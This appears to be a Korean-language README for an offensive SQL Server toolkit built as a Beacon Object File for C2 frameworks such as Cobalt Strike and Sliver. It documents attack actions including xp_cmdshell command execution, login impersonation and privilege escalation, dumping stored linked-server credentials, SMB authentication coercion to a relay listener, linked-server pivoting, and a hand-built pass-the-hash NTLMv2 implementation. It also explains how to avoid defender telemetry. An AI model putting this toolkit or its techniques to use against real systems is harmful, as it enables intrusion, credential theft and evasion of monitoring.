
Microsoft SQL Server용 Beacon Object File 제품군으로, 직접 TDS 7.4 프로토콜을 통해 통신합니다.
마이크로소프트 SQL Server를 위한 Beacon Object File 제품군으로, 자체적으로 TDS 7.4를 C로 구현하여 네트워크 통신을 수행합니다. msodbcsql.dll, sqloledb.dll, .NET CLR, PowerShell이 필요 없습니다. 아키텍처당 하나의 COFF 파일이 로드되며, 표준 Beacon API를 준수하는 모든 비콘에서 실행됩니다.
SQL Server는 거의 모든 엔지니어링 작업에서 등장합니다. 주로 사용되는 도구는 SQLRecon / PowerUpSQL (CLR + PowerShell)과 sqlcmd.exe를 래핑하는 도구들입니다. 이 두 가지 모두 mscoree.dll, PowerShell AMSI 이벤트, 또는 Microsoft ODBC 드라이버 전체 복사본을 비콘 메모리에 남깁니다. 하지만 이는 불필요합니다. TDS는 TCP 위에 Schannel 핸드셰이크가 포함된 프레임화된 바이트 스트림에 불과하며, 모든 BOF 지원 비콘에는 이미 ws2_32, secur32, schannel, bcrypt가 로드되어 있습니다.
따라서 mssqlbof는 TDS를 수동으로 C로 구현하고, 운영자가 대상에 필요한 SSPI 또는 BCrypt 프리미티브에 직접 연결됩니다. 비콘은 약 48KB 크기의 객체 파일을 로드하고 SQL을 실행한 후 언로드합니다. 프로세스에 다른 어떤 것도 주입되지 않습니다.
아키텍처당 하나의 객체 파일입니다. mssql.x64.o는 모든 프레임워크에서 동일한 바이너리입니다. 표준 Beacon API(BeaconPrintf, BeaconDataExtract 등)와 COFF 로더가 런타임에 확인하는 <LIB>$<fn> 동적 가져오기 패턴만 사용합니다.
apt install gcc-mingw-w64 libssl-dev
make
build/mssql.x64.o와 build/mssql.x86.o 파일이 생성됩니다. 팀 서버에 배치하고 C2의 BOF 실행기로 로드합니다.
모든 작업은 하나의 객체 파일을 --action <verb>와 함께 사용하여 수행됩니다.
--action find LDAP enum of MSSQLSvc SPNs in the current forest
--action info --host <sql> server/version/current user/sysadmin/db
--action query --host <sql> --sql "..." arbitrary T-SQL, multi-row, multi-resultset
--action links --host <sql> linked-server enumeration (single hop)
--action exec --host <sql> --cmd "..." xp_cmdshell with auto enable + restore
--action impersonate --host <sql> --discover list logins you can EXECUTE AS
--action impersonate --host <sql> --login X --sql "..."
run T-SQL as X via EXECUTE AS LOGIN
--action privesc --host <sql> six-section privesc surface enumeration
--action coerce --host <sql> --to "\\listener\x"
xp_dirtree SMB auth coercion
--action passwords --host <sql> dump sys.linked_logins + sys.credentials
--action chain --host <sql> --via LINK --sql "..."
EXEC (...) AT [LinkedServer]
--action find는 호스트 없이 실행되며, 운영자의 DC와 LDAP 통신을 통해 작업을 수행합니다.
네 가지 모드가 있습니다. 모든 모드는 실제 도메인 환경의 COFFLoader 및 Adaptix C2에서 SQL Server 2019와의 종단 간 검증을 완료했습니다.
--auth sspi (default) current beacon thread token
Kerberos if SPN exists, NTLM otherwise.
Honors make_token / steal_token.
--auth ntlm --domain D --user U --pass P explicit NTLM plaintext.
Drives SSPI NTLM package, multi-leg.
--auth ntlm --domain D --user U --hash <NT> pass-the-hash.
Hand-rolled NTLMv2 (see below).
No SSPI, no lsass, no make_token.
--auth sql --user U --pass P SQL authentication.
--hash는 32자리 16진수 NT 해시 또는 secretsdump에서 생성된 LM:NT 형식을 허용합니다.
SSPI + SEC_WINNT_AUTH_IDENTITY가 아닌 이유AcquireCredentialsHandleW(NULL, "NTLM", ...)는 자격 증명 ID 구조에서 일반 텍스트 비밀번호만 허용합니다. NTLM 공급자는 내부적으로 NT 해시를 파생시킵니다. 해시를 전달하려면 lsass를 패치하거나(Mimikatz sekurlsa::pth가 수행하는 방식), 사전 인증된 희생 프로세스 아래에서 비콘을 실행해야 합니다.
우리가 취한 대안은 PTH를 위해 SSPI를 완전히 건너뛰고 NTLMSSP 메시지를 직접 생성하는 것입니다. src/tds/ntlm_pth.c는 Type 1 NEGOTIATE를 구성하고, TDS 0xED 토큰에서 서버의 Type 2 CHALLENGE를 구문 분석하고, bcrypt.dll의 HMAC-MD5 공급자로 NTLMv2 계산을 수행하며, SQL Server가 DC로 전달하는 Type 3 AUTHENTICATE를 작성합니다.
첫 번째 시도는 error 18452: login is from an untrusted domain 오류로 실패했습니다. Impacket의 작동하는 인증을 와이어 캡처와 나란히 비교한 결과 문제를 빠르게 좁힐 수 있었습니다. 우리는 LMv2 응답으로 24바이트 0을 보내고 있었고, 전체 0xe288... Windows 협상 플래그 집합을 사용하고 있었습니다. Impacket의 LMv2 계산과 더 작은 0xa2880205 플래그 집합(KEY_EXCH, SIGN, ALWAYS_SIGN 없음)을 일치시킴으로써 서버가 해시를 수락했습니다. 자세한 내용은 BLOG에 작성되어 있습니다.
--action exec의 권한 상승--impersonate auto (default) try EXECUTE AS LOGIN, then TRUSTWORTHY hop
--impersonate login EXECUTE AS LOGIN via an IMPERSONATE grant
--impersonate trustworthy hop through dbo of a sysadmin-owned TRUSTWORTHY db
--impersonate none fail if not sysadmin
privesc는 방법을 선택하기 전에 표면을 열거합니다: sysadmin 멤버십, IMPERSONATE 권한(대상 로그인의 sysadmin 상태 포함), sysadmin이 소유한 TRUSTWORTHY 데이터베이스(사용자 접근 권한 포함), 연결된 서버, 서버 수준 권한, xp_cmdshell 상태.
apt install gcc-mingw-w64 libssl-dev
make # cross-compile BOFs to x64 + x86
make tds # Linux shared library of the TDS core (for fuzzing / tests)
Linux 공유 라이브러리는 Windows 빌드와 모든 TDS 소스 파일을 공유합니다. tls_schannel.c / sspi.c / ntlm_pth.c만 OpenSSL / 스텁 등가물로 교체됩니다.
libc 또는 Win32를 직접 호출하지 않습니다. 모든 외부 심볼은 src/common/dynimports.h의 <LIB>$<fn> 동적 가져오기 규칙을 통해 참조됩니다. 확인 방법:
x86_64-w64-mingw32-objdump -t build/mssql.x64.o | grep UND
MSVCRT$*, WS2_32$*, SECUR32$*, BCRYPT$*, CRYPT32$*, SCHANNEL$*, WLDAP32$*, KERNEL32$*, ADVAPI32$*, __imp_Beacon*만 표시되어야 합니다. msodbcsql.dll, sqloledb.dll, mscoree.dll은 없습니다.
모든 TLS는 실제 Schannel(스텁 아님)이며 SQL Server PRELOGIN-래핑 특이점이 처리됩니다: 핸드셰이크는 TDS PRELOGIN 유형 0x12 패킷 내에서 실행된 후 LOGIN7이 원시 TLS 애플리케이션 데이터로 전송되고 서버는 첫 번째 로그인 패킷을 평문으로 응답합니다. 다중 레그 SSPI 연속도 평문으로 전송됩니다. TLS로 암호화하면 SRV02가 소켓을 닫습니다.
v0.1.2 — 다중 인증, PTH, 11가지 작업, 실험실 검증 완료.
mssql.x64.o) with 11 actionsexec에 대한 네 가지 권한 상승 방법: login, trustworthy, auto, none알려진 엣지 케이스:
OPENQUERY 체인은 v0.2에서 지원 예정.do_connect에서 프라이머 SELECT를 실행하여 이를 소비합니다. 부작용으로 모든 작업에서 [*] connected as ... 라인이 기록됩니다. 근본 원인은 LOGINACK 후 읽기 경로에 있으며 v0.2에서 수정 예정입니다.Cobalt-Strike/bof_template — 이 프로젝트가 정확히 따르는 표준 Beacon API 표면을 제공합니다.TrustedSec/COFFLoader — 독립적인 로더로 테스트할 수 있게 해줍니다.impacket의 ntlm.py 및 mssqlclient.py — NTLMv2 플래그 문제를 추적할 때 비교한 참조 구현입니다.[MS-TDS] 및 [MS-NLMP] — 이 모든 수동 구현이 따르는 사양입니다.Opus 4.6 — 문서의 일부는 Opus 4.6의 도움을 받아 작성되었습니다. 모든 코드는 저가 직접 작성했으며 실험실에서 종단 간 검증되었습니다.MIT.
| C2 | x64 | x86 |
|---|
| Cobalt Strike | yes | yes |
| Havoc | yes | yes |
| Sliver | yes | yes |
| BruteRatel | yes | yes |
| Nighthawk | yes | yes |
| Outflank Stage1 | yes | yes |
| AdaptixC2 | yes | yes |
Metasploit execute_bof | yes | yes |
| PoshC2 | yes | yes |
| 작업 | 비콘 기준 외 추가 DLL | 서버 측 추적 | 참고 |
|---|
find | wldap32 | DC 이벤트 1644 (드물게) | LDAP 전용, SQL 미사용 |
info / query / links / privesc / passwords | secur32 또는 bcrypt, schannel, ws2_32 | SQL 감사 33205 (활성화된 경우) | 순수 TDS, ODBC 지문 없음 |
exec | 동일 | 기본 추적에 xp_cmdshell + sp_configure | 눈에 띔. 낮은 권한 로그인에서 --impersonate를 사용하여 NT SERVICE로 전환 방지 |
impersonate | 동일 | EXECUTE AS 감사 33205 + 33206 | |
coerce | 동일 | xp_dirtree 시도 기록됨 | responder / ntlmrelayx로 전송 |
chain | 동일 | 연결된 서버 대상에서 EXEC AT 기록됨 | 피벗 프리미티브 |
| 문서 | 내용 |
|---|
docs/PROTOCOL.md | TDS 7.4 심층 분석: 패킷 프레임, PRELOGIN 옵션 스트림, LOGIN7 암호 난독화, SQLBatch의 ALL_HEADERS, 토큰 스트림 문법(COLMETADATA / ROW / NBCROW / DONE / LOGINACK / ENVCHANGE / 0xED SSPI 연속), TLS 핸드셰이크 특이점, 다중 레그 NTLM 펌프. |
docs/OPERATOR.md | 종단 간 실습 가이드: 빌드, Adaptix 리스너 설정, Windows 호스트에 비콘 설치, 모든 인증 모드(PTH 포함)로 모든 작업 실행, 교차 C2 이식성 참고 사항. |
docs/OPSEC.md | 작업별 네트워크 및 메모리 지문. 각 작업이 비콘에 로드하는 것, SQL 감사에 남기는 것, 방어자가 볼 수 있는 것. |
docs/COMPATIBILITY.md | C2 프레임워크 매트릭스, SQL Server 버전 매트릭스, 각 인증 모드가 어떤 대상에 대해 검증되었는지. |
BLOG | 디버깅 이야기: pass-the-hash 구현이 어떻게 완성되었는지, 와이어 캡처, LMv2 제로 바이트 허위 정보, Impacket과의 tshark 차이점을 통해 해결한 과정. |